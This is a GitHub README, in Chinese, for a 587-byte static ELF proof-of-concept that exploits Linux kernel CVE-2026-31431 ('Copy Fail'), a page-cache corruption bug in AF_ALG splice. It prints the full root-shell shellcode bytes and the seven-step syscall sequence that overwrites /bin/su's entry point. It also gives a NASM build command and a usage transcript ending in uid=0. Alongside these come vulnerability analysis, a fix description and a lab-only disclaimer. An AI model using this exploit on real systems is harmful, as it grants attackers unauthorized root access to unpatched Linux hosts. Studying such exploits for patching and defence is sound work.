Rat5ak/CVE-2026-31431-CopyFail-static-ELF--POC
GitHub: Rat5ak/CVE-2026-31431-CopyFail-static-ELF--POC
针对 Linux 内核 CVE-2026-31431 页缓存损坏漏洞的 587 字节最小化本地提权 PoC,利用 AF_ALG splice 路径实现任意页缓存写入。
Stars: 0 | Forks: 0
# CVE-2026-31431:Copy Fail - 587 字节的静态 ELF
我并没有发现这个漏洞。功劳归于 [Xint Code / Theori](https://xint.io/blog/copy-fail-linux-distributions)。
本仓库是我对将漏洞利用程序做到尽可能小的尝试 —— 一个纯手工编写的 x86_64 ELF,能在 587 字节内完成完整的 LPE。无需 libc,无需链接器,无需运行时。只需 NASM 和一点死磕精神。
实际上,内核通过 AF_ALG + splice 为你提供了一个写入原语,可以写入任何可读文件的页缓存。将其指向一个 setuid 二进制文件的入口点,写入 shellcode,执行该二进制文件,即可获得 root 权限。
关于体积的背景信息:最初公开的 Copy Fail 文章提供了一个微型 Python 版本,体积为 732 字节。这已经非常酷了,但它仍然依赖于系统中存在 Python 运行时。更小的是 https://kopy.fail,仅有 524 字节。
然而,这个版本是一个原生静态 ELF:没有解释器,没有 libc,没有链接器,没有动态加载器。(我妈妈觉得这很酷)
| | |
|------------|-----------------------------------------------------------------|
| CVE | CVE-2026-31431 |
| 漏洞类型 | 通过 splice 别名导致的页缓存损坏 |
| 根本原因 | `af_alg_sendpage` / splice 进入 AEAD 请求时,将页缓存页面别名化为 crypto scatter-gather 输出 |
| 组件 | `crypto/af_alg.c` + `crypto/algif_aead.c` |
| 影响 | 将受控字节写入任何可读文件的页缓存 |
| 前置条件 | 本地用户,可访问的 AF_ALG/AEAD 支持,可读的 setuid 目标 |
| 漏洞利用 | 587 字节的静态 ELF (x86_64),单文件,零依赖 |
## 漏洞详情
AF_ALG 允许用户空间通过套接字进行内核加密。对于像 `authencesn` 这样的 AEAD 密码,内核通过带有 `MSG_MORE` 标志的 `sendmsg` 接收数据,然后你可以从文件描述符中 splice 更多数据进来。
最离谱的地方在于:当你 splice 一个文件时,内核会将该文件的页缓存页面直接固定到 crypto scatter-gather 列表中。然后 AEAD 操作会将其输出写回这些相同的页面。内核以为它提供给加密模块的是一个只读缓冲区,而加密模块以为它获得的是一个可写缓冲区。中间没有任何拷贝操作。
你作为 AAD 元数据输入的字节,最终会通过页缓存变得可见。任何后续对该文件的读取 —— 无论是哪个进程、哪个用户,包括 suid 程序执行时 —— 都会看到被损坏的数据。磁盘上的文件原封不动,只有内存中的页缓存视图发生了改变。
## 命名
Copy Fail 是页缓存/COW 家族诅咒在 AF_ALG 中的又一次发作。它与 Dirty COW (CVE-2016-5195) 属于同一谱系 —— “内核允许你写入本应只能读取的内容” —— 但它是通过 crypto splice 路径实现的,而不是 madvise/write 竞争。
## 漏洞利用
目标:Debian Bookworm 上的 `/bin/su`(包括 kernelCTF rootfs)。ELF 入口点位于文件偏移量 `0x3910` 处。
28 字节的 shellcode 将其变成了一个 root shell dropper:
```
; setuid(0) - 7 bytes
31 ff xor edi, edi
6a 69 push 105
58 pop rax
0f 05 syscall
; execve("/bin/sh", NULL, NULL) - 21 bytes
99 cdq
31 f6 xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00 movabs rbx, "/bin/sh\0"
53 push rbx
54 push rsp
5f pop rdi
6a 3b push 59
58 pop rax
0f 05 syscall
```
AEAD 原语每次操作只给你 4 个字节 —— 一块 32 位的 AAD 会落在 splice 偏移处。28 字节的 shellcode ÷ 4 = 需要经过 7 次内核加密栈的处理。每次迭代:
1. `socket(AF_ALG)` + 使用 `authencesn(hmac(sha1),cbc(aes))` 进行 `bind`
2. `setsockopt` 设置密钥和 auth tag 大小
3. `accept` 获取请求 fd
4. 带有 `MSG_MORE` 的 `sendmsg` - 8 字节的 iov 包含 4 字节的 AAD 填充数据 + 4 字节的 shellcode
5. 从 `/bin/su` 通过管道 `splice` 进入请求 fd(定位页缓存页面)
6. `recvfrom` - 触发 AEAD 处理,损坏页缓存
7. 关闭所有内容(至关重要 - 陈旧的 AF_ALG 状态会破坏后续的 splice 操作)
经过所有 7 次迭代后,执行 `execve("/bin/su")`。内核从已损坏的页缓存中加载它。执行流跳转到被覆盖的入口点。获得 root shell。
## 二进制文件
总共 587 字节。其中 120 字节是 ELF 头(没有它内核不会加载你),因此实际的漏洞利用逻辑是 467 字节的机器代码和数据。
以下是它们在 ELF 头中的分布位置:
```
Offset Field Actual use
------ ----- ----------
0x00 e_ident[0:8] magic + ELF class (mandatory)
0x08 e_ident[8:16] crypto key material (kernel ignores these bytes)
0x28 e_shoff "/bin/su\0" string (kernel ignores for ET_EXEC)
```
内核只关注 `e_ident[0:7]`、`e_type`、`e_machine`、`e_entry`、`e_phoff`、`e_phnum` 以及 phdr 本身。其他所有内容都是可自由利用的空间。
其他减小体积的技巧:
- 单个 RWX PT_LOAD 段,为 88 字节的 sockaddr_alg 提供 BSS 段(内核会将其清零)
- 所有系统调用都编码为 `push imm8 / pop rax / syscall`(每个占 3 字节)
- r14 中的循环计数器从 24 递减到 0(步长 -4),同时兼作 shellcode 的索引
- 所选的寄存器都能在系统调用中保留其值(r12=target_fd,r15=alg_fd,rbp=req_fd,rbx=shellcode_base),这样我们就不用浪费字节数去重新加载它们
### 从 584 到 587 字节的故事
第一个可运行的版本是 584 字节。它为第二次 splice 调用使用了 `mov ax, 275`(比 `mov eax, 275` 短 2 个字节)。这相当于在赌博,赌第一次 splice 总是成功 —— 如果它返回一个负数的错误码,rax 的高 48 位将保持被设置的状态,而 `mov ax, 275` 只会覆盖底部的 16 位。这样一来,第二次 splice 的系统调用号就变成了垃圾值。
在我的测试内核上它总是能成功。但“在测试中总是能成功”并不是发布一个 bug 的好理由,如果有人在一个因内存紧张导致 splice 返回 EAGAIN 的系统上运行它,漏洞利用程序只会发生段错误,而没有任何关于出了什么问题的提示。所以我吃下了这多出来的 3 个字节。
此外,还不得不在最终的 `execve` 之前添加了 `xor esi, esi`,因为 `recvfrom` 会用缓冲区地址覆盖 rsi。如果没有这条指令,execve 会得到一个无效的 argv 指针。这又多了一个字节。
## 构建
```
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3
```
需要 NASM。直接生成漏洞利用二进制文件 - 无需链接步骤。
## 使用方法
```
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)
```
耗时不到一秒。成功时没有任何输出 - 只有一个 root shell。
## 受影响的内核
需要 `CONFIG_CRYPTO_USER_API_AEAD`(内建或已加载的模块)以及 `algif_aead` 中未修复的就地 splice 路径。这段有问题的代码路径可以追溯到 2017 年的一次优化。请检查你所使用的发行版的内核配置和补丁状态。
## 修复方案
该修复移除了就地写入路径,改为拷贝 splice 源页面,而不是将其别名化到 crypto scatter-gather 列表中。页缓存的隔离性由此得以恢复。
## 免责声明
这是一个 KernelCTF/实验室环境下的产物。请仅在您拥有或已获得明确测试权限的系统上运行它。如果您负责防御 Linux 服务器,请修补内核或限制 AF_ALG/algif_aead 模块的加载。
Daniel Wade - [GitHub](https://github.com/Rat5ak) · [Twitter/X](https://x.com/Nadsec11) · [Bluesky](https://bsky.app/profile/nadsec.online) · [nadsec.online](https://nadsec.online/)
标签:0day, AEAD, AF_ALG, CVE, CVE-2026-31431, Linux内核, LPE, NASM, Page Cache, SetUID, Splice, Web报告查看器, x86_64, 二进制精简, 任意文件写入, 内核漏洞, 子域名枚举, 安全报告生成, 底层安全, 快速连接, 提权, 数字签名, 数据展示, 本地提权, 汇编语言, 漏洞复现, 系统安全, 红队, 网络安全, 隐私保护, 静态ELF